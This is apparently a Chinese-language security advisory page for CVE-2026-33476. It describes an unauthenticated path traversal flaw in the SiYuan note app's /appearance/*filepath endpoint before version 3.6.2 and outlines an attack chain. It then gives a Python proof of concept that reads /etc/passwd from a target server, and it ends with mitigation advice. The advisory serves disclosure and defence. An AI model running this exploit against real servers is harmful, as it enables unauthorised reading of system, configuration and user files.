IPBUF安全漏洞报告
English
CVE-2026-33476 CVSS 7.5 高危

CVE-2026-33476 SiYuan笔记目录遍历漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33476
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SiYuan (思源笔记)

相关标签

路径遍历任意文件读取SiYuan思源笔记未授权访问CVE-2026-33476

漏洞概述

SiYuan是一款个人知识管理系统。在3.6.2版本之前,其内核在/appearance/*filepath路径下暴露了一个无需身份验证的文件服务端点。由于对路径的净化处理不当,攻击者可以利用该漏洞进行目录遍历攻击,进而读取服务器进程有权访问的任意文件。该端点明确排除了身份验证检查,因此无需有效凭证即可被利用。此漏洞可能导致敏感信息泄露,影响数据机密性。

技术细节

该漏洞的根本原因在于SiYuan内核对/appearance/*filepath接口的路径参数缺乏严格的校验和过滤。在受影响版本中,系统设计允许通过该特定URL模式直接访问文件系统资源,且未对用户请求进行身份验证。由于未正确处理../(或URL编码后的%2e%2e/)等目录跳转序列,攻击者能够绕过预期的根目录限制。攻击者只需向服务器发送包含恶意路径的HTTP GET请求,即可遍历文件系统层级。一旦遍历成功,攻击者可以读取服务器上运行的SiYuan进程有权限读取的任何文件,包括数据库文件、配置文件、用户笔记内容等。这种无需认证的任意文件读取漏洞极大地降低了攻击门槛,对数据机密性构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是SiYuan个人知识管理系统,且版本低于3.6.2。
STEP 2
漏洞利用
攻击者构造包含路径遍历序列(如../)的恶意HTTP GET请求,发送至/appearance/*filepath端点,绕过认证检查。
STEP 3
数据窃取
服务器响应请求,返回攻击者指定的文件内容(如/etc/passwd、配置文件或数据库文件),导致敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_poc(target_url): """ PoC for CVE-2026-33476: SiYuan Directory Traversal Attempts to read /etc/passwd from the target server. """ # The vulnerable endpoint is /appearance/*filepath # Using ../ to traverse back to the root directory traversal_payload = "/appearance/../../etc/passwd" full_url = f"{target_url.rstrip('/')}{traversal_payload}" headers = { "User-Agent": "CVE-2026-33476-Scanner" } try: print(f"[+] Sending request to: {full_url}") response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Server responded with 200 OK.") print("[+] File content snippet:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Request failed with status code: {response.status_code}") if response.status_code == 404: print("[-] File not found or patch applied.") elif response.status_code == 401 or response.status_code == 403: print("[-] Authentication required or access denied (Patch may be applied).") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:6806" exploit_poc(target)

影响范围

SiYuan < 3.6.2

防御指南

临时缓解措施
建议立即将SiYuan升级至3.6.2或更高版本以修复此漏洞。如果无法立即升级,请通过防火墙限制对/appearance/*路径的外部访问,或仅允许内网可信IP连接,防止未授权的文件读取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表